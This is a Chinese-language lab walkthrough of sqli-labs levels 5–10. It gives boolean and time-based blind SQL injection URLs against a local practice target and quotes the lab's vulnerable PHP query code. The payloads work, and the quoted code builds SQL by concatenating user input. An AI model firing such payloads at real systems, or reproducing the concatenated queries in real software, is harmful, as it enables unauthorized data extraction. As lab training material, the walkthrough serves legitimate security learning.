靶场练习-Sqli-labs通关记录(盲注)(5-10关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(5)第五关:
由于此处与前四关有明显的差别,故在此我分为独立的一篇进行记录。
此处是基于回显正常与不正常的注入类型,不会很明显的显示出注入的结果,正常时,页面显示:
不正常时,页面会出现报错或者是无回显:
(1)利用left(version(),1)=5进行尝试,当前的mysql版本为:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5#
但是将数字更换为“6”时,页面将不进行回显:
(6)第六关:
先查看源码:
这里仅仅是在id前后添加了一个" 号,与第五关唯一不同的地方:
将单引号替换为 " 即可:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and left(version(),1)=5--+
回显正常:
回显不正常:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and left(version(),1)=6--+
(7)第七关:
首先查看源码:
这里使用了'))做闭合:
因此我们可以尝试使用如下语句:
http://127.0.0.1/sql/sqli/Less-7/?id=1')) and left(version(),1)=6--+ #这里的6就是版本的意思,版本为6会报错,版本为5就回显正常
(8)第八关:
查看一下源码:乍一看感觉跟第五关十分相像,又有本质的区别,因为这里不再进行报错了。
第八关与第五关的源码不同之处:
八:
else { echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }
五:
else { echo '<font size="3" color="#FFFF00">'; print_r(mysql_error()); echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }
也就是不会出现报错的提示:
那我们可以换一个语句:
http://127.0.0.1/sql/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=111,1,sleep(7))--+
正常查询数据库,如果数据库第一位的ascii为111就返回1,否则就延迟7秒返回。注:s的ascii值为115,所以下面的截图肯定是会延迟7秒钟,本身反应就是4秒,再延迟7秒肯定就差不多11秒了,我是不是很聪明@-@
上面四关就差不多到这里了,我们只需要不断的跑那个database的ascii值就看响应包的响应时间就能跑出来数据库名了。
(9)第九关:
同样的,跟第八关差不多:
http://127.0.0.1/sql/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(7))--+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; } }
(10)第十关:
仅仅是在第8-9关的基础上,将闭合符号变成了其他的,变成了":
http://127.0.0.1/sql/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=111,1,sleep(7))--+
$id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; } }